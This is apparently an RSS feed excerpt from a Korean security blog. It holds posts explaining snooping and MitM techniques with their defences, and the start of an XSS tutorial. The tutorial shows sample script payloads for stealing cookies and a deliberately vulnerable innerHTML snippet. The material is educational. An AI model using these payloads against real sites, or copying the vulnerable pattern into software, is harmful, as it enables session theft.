&lt;td&gt;&lt;span&gt;&lt;b&gt;Havij&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;GUI 기반 SQL Injection 도구&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>정보보호</category>
      <category>DB보안</category>
      <category>SQL</category>
      <category>sqlInjection</category>
      <category>sql인젝션</category>
      <category>정보보호</category>
      <category>쿼리</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/23</guid>
      <comments>https://defcon.tistory.com/23#entry23comment</comments>
      <pubDate>Tue, 29 Apr 2025 18:11:11 +0900</pubDate>
    </item>
    <item>
      <title>Snooping 공격에 대한 개념</title>
      <link>https://defcon.tistory.com/22</link>
      <description>&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;개념&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Snooping&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;은 네트워크나 컴퓨터 시스템을&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;몰래 엿보거나 감시하여 &lt;/b&gt;&lt;b&gt;데이터를 가로채거나 수집하는 행위&lt;/b&gt;&lt;span&gt;를 의미합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;공격자가 아니라도, 단순한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;정보 열람&lt;/b&gt;&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;모니터링&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;행위 자체를 스누핑이라 부를 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;span&gt;하지만 보안 관점에서는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;허가 없이 남의 통신이나 데이터를 몰래 들여다보는 행위&lt;/b&gt;&lt;span&gt;를 주로 지칭합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;요약:&amp;ldquo;허가 없이 남의 데이터를 엿보는 것&amp;rdquo;&lt;/blockquote&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;Snooping의 특징&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%; height: 85px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;text-align: center; height: 17px;&quot;&gt;항목&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 17px;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;&lt;b&gt;주체&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;네트워크 관리자, 악성 공격자, 시스템 운영자 등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;&lt;b&gt;행위&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;데이터, 패킷, 파일, 통신내용 몰래 수집&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;&lt;b&gt;목적&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;정보 수집, 비밀 탈취, 시스템 분석 등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;&lt;b&gt;대상&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;이메일, 웹 트래픽, 채팅, 파일 전송, 인증정보 등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;Snooping의 주요 유형&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%; height: 95px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;유형&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;&lt;b&gt;Network Snooping&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;네트워크를 통해 흐르는 트래픽을 몰래 가로채서 분석 (패킷 스니핑)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;&lt;b&gt;Email Snooping&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;이메일 내용을 몰래 열람하거나 복사&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;&lt;b&gt;File Snooping&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;파일 서버나 클라우드 저장소의 파일을 무단 열람&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;&lt;b&gt;Wireless Snooping&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;와이파이 같은 무선 네트워크에서 트래픽을 엿봄&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;&lt;b&gt;Memory Snooping&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;시스템 메모리에 올라온 민감 데이터를 몰래 수집 (RAM Snooping)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;Snooping과 관련된 기술&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Packet Sniffing&lt;/b&gt;&lt;span&gt;: &lt;/span&gt;네트워크 패킷을 가로채고 분석하는 기술 (예: Wireshark, tcpdump 사용)&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;color: #000000; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;합법적인 Sniffing&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;불법적인 Sniffing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;- 네트워크 트래픽 모니터링&lt;br /&gt;- 보안 문제 분석&lt;br /&gt;- 성능 최적화&lt;br /&gt;- 장애 진단&lt;/td&gt;
&lt;td&gt;- 민감 정보 탈취(비밀번호, 세션 토큰 등)&lt;br /&gt;- 계정 탈취&lt;br /&gt;- 내부 네트워크 정보 수집&lt;br /&gt;- 통신 감청&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;ARP Spoofing&lt;/b&gt;&lt;span&gt;: &lt;/span&gt;네트워크 내 ARP 테이블을 조작해 패킷을 공격자에게 흘러가게 한 후 스누핑.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Man-in-the-Middle (MitM) Attack&lt;/b&gt;&lt;span&gt;: &lt;/span&gt;통신 중간에 몰래 끼어들어 데이터를 엿보거나 조작하는 공격.
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;ARP Spoofing (LAN 내부에서 MitM)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;공격자가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;LAN(Local Area Network)&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&amp;ldquo;나 = 게이트웨이&amp;rdquo; 라고 속여서,&lt;span&gt;&amp;nbsp;&lt;/span&gt;피해자의 트래픽을 전부 자신을 거쳐가게 함&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;DNS Spoofing(웹사이트 접속 중 MitM)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자가 정상 웹사이트를 접속하려고 할 때, 공격자가 가짜 IP를 응답하여 피싱 사이트 유도&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Wi-Fi Evil Twein Attack( 공공장소 &amp;nbsp;MitM)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;특정 공용 Wi-Fi 처럼 보이는 가짜 AP를 설치하고 사용자들이 여기에 연결하면, 모든 트래픽을 감청&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;SSL Striopping(HTTPS 통신 MitM)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자가 HTTPS 웹사이트를 방문할 때, 공격자가 중간에서 HTTPS를 강제로 HTTP로 다운그레이드하여 암호화 제거&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;Snooping과 비슷한 개념과 차이점&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%; height: 68px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px; text-align: center; width: 14.302326%;&quot;&gt;구분&lt;/td&gt;
&lt;td style=&quot;height: 17px; text-align: center; width: 29.651163%;&quot;&gt;Snooping&lt;/td&gt;
&lt;td style=&quot;height: 17px; text-align: center; width: 28.837209%;&quot;&gt;Sniffing&lt;/td&gt;
&lt;td style=&quot;height: 17px; text-align: center; width: 26.976744%;&quot;&gt;Eavesdropping&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px; width: 14.302326%;&quot;&gt;&lt;span&gt;&lt;b&gt;개념&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px; width: 29.651163%;&quot;&gt;&lt;span&gt;엿보거나 몰래 열람하는 행위&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px; width: 28.837209%;&quot;&gt;&lt;span&gt;패킷 캡처 및 분석&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px; width: 26.976744%;&quot;&gt;&lt;span&gt;통신 내용을 몰래 듣는 행위&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px; width: 14.302326%;&quot;&gt;&lt;span&gt;&lt;b&gt;주로 어디에?&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px; width: 29.651163%;&quot;&gt;&lt;span&gt;시스템, 네트워크, 파일, 메모리 등 광범위&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px; width: 28.837209%;&quot;&gt;&lt;span&gt;네트워크 트래픽&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px; width: 26.976744%;&quot;&gt;&lt;span&gt;통신(네트워크, 음성)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px; width: 14.302326%;&quot;&gt;&lt;span&gt;&lt;b&gt;적극성&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px; width: 29.651163%;&quot;&gt;&lt;span&gt;비교적 포괄적&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px; width: 28.837209%;&quot;&gt;&lt;span&gt;기술적이고 적극적&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px; width: 26.976744%;&quot;&gt;&lt;span&gt;소극적 (수동 듣기)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;Snooping은 약간 더 포괄적&amp;nbsp;개념이고, &amp;nbsp;Snipping/Eavesdropping은 좀 더&amp;nbsp;특정 기술에 가까워요.&lt;/blockquote&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. &lt;/b&gt;&lt;b&gt;Snooping의 위험성&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;개인정보 유출&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(로그인 정보, 신용카드 번호 등)&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;기업 기밀 유출&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(문서, 설계도, 계약 정보)&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;세션 탈취&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(로그인 세션 하이재킹 가능)&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;비인가 시스템 접근&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(수집한 정보를 통해 추가 침입)&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;법적 문제&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(감시 행위는 불법일 수 있음)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. Snooping 방어 방법&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%; height: 95px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span&gt;&lt;b&gt;방법&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span&gt;설명&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;&lt;b&gt;암호화 사용&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;TLS/SSL, VPN을 통한 통신 암호화&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;&lt;b&gt;강력한 무선 네트워크 보안&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;WPA3 적용, 오픈 Wi-Fi 사용 금지&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;&lt;b&gt;ARP 스푸핑 방지&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;Static ARP 테이블 설정, IDS/IPS 도입&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;&lt;b&gt;세션 관리 강화&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;세션 쿠키 암호화, 세션 하이재킹 방지&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;&lt;b&gt;보안 모니터링&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;&lt;span&gt;비정상 트래픽 탐지 및 경고 시스템 구축&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>정보보호</category>
      <category>Snooping</category>
      <category>스누핑</category>
      <category>정보보안</category>
      <category>정보보호</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/22</guid>
      <comments>https://defcon.tistory.com/22#entry22comment</comments>
      <pubDate>Tue, 29 Apr 2025 08:30:06 +0900</pubDate>
    </item>
    <item>
      <title>XSS Cross Site Script 공격 기법에 대한 개념 및 방어 방법</title>
      <link>https://defcon.tistory.com/19</link>
      <description>&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;1. XSS 공격 개요&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;XSS (Cross-Site Scripting)는 웹 애플리케이션 취약점을 이용해 악성 스크립트(주로 JavaScript)를 삽입하고, 이를 다른 사용자의 브라우저에서 실행시키는 공격입니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;XSS는 공격자가 작성한 스크립트가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;피해자의 브라우저&lt;/b&gt;에서 실행된다는 점이 핵심입니다. 이 스크립트는 쿠키, 세션 토큰, 사용자 입력 정보 등을 탈취하거나, 사용자의 브라우저를 조작하거나, 악성 사이트로 리다이렉션시킬 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;중요 포인트&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버 입장에서는 정상 요청처럼 보인다.&lt;/li&gt;
&lt;li&gt;피해자는 보통 자신이 공격당하고 있다는 것을 인지하기 어렵다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;2. XSS 공격의 기본 구조&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;공격자가 악성 스크립트를 웹사이트에 삽입&lt;/li&gt;
&lt;li&gt;웹사이트가 별다른 검증 없이 이 스크립트를 포함해 응답&lt;/li&gt;
&lt;li&gt;피해자가 웹사이트에 접속하면서 삽입된 스크립트가 실행&lt;/li&gt;
&lt;li&gt;스크립트가 피해자의 쿠키, 세션 토큰 등을 탈취하거나 다른 행위를 수행&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;3. XSS 공격 유형&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;XSS는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;공격이 삽입&amp;middot;전달되는 방식&lt;/b&gt;에 따라 보통 다음 세 가지로 구분됩니다.&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;(1) 저장형 XSS (Stored XSS, Persistent XSS)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공격 스크립트가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;서버에 저장&lt;/b&gt;된다 (예: 게시판 글, 댓글, 프로필 정보 등).&lt;/li&gt;
&lt;li&gt;다른 사용자가 그 페이지에 접속하면 저장된 스크립트가 실행된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시&lt;/b&gt;:&lt;br /&gt;게시판 글 제목에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;lt;script&amp;gt;stealCookie()&amp;lt;/script&amp;gt;를 삽입 &amp;rarr; 다른 사용자가 글을 열람 시 쿠키 탈취&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;특징&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;피해자가 링크를 클릭하지 않아도 됨&lt;/li&gt;
&lt;li&gt;파급력 큼 (다수 사용자에 영향)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;(2) 반사형 XSS (Reflected XSS)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공격 스크립트가 서버에 저장되지 않고,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;HTTP 요청에 포함된 입력값이 바로 응답에 반영&lt;/b&gt;된다.&lt;/li&gt;
&lt;li&gt;사용자가 조작된 링크를 클릭하거나 폼을 제출할 때 공격이 발동한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시&lt;/b&gt;:&lt;br /&gt;URL에 악성 스크립트 삽입 &amp;rarr; 서버가 이를 그대로 반영 &amp;rarr; 사용자 브라우저에서 실행&lt;/p&gt;
&lt;pre class=&quot;vim&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;https://example.com/search?q=stealCookie()&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;특징&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자가 공격자가 만든 링크를 클릭해야 함&lt;/li&gt;
&lt;li&gt;보통 이메일, 메신저 등을 통해 유도&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;(3) DOM 기반 XSS (DOM-based XSS)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버 응답에는 문제가 없고,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;브라우저가 클라이언트 측(JavaScript)에서 입력값을 처리할 때&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;발생&lt;/li&gt;
&lt;li&gt;입력값을 DOM에 삽입할 때 적절한 검증/인코딩이 이뤄지지 않아 발생한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(JavaScript 코드에서 직접 취약):&lt;/p&gt;
&lt;pre class=&quot;pgsql&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;var search = location.hash.substring(1);
document.getElementById(&quot;result&quot;).innerHTML = search;
&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;위 코드에 대해 URL을 다음과 같이 조작:&lt;/p&gt;
&lt;pre class=&quot;leaf&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;https://example.com/#alert('XSS')&lt;/code&gt;&lt;/pre&gt;
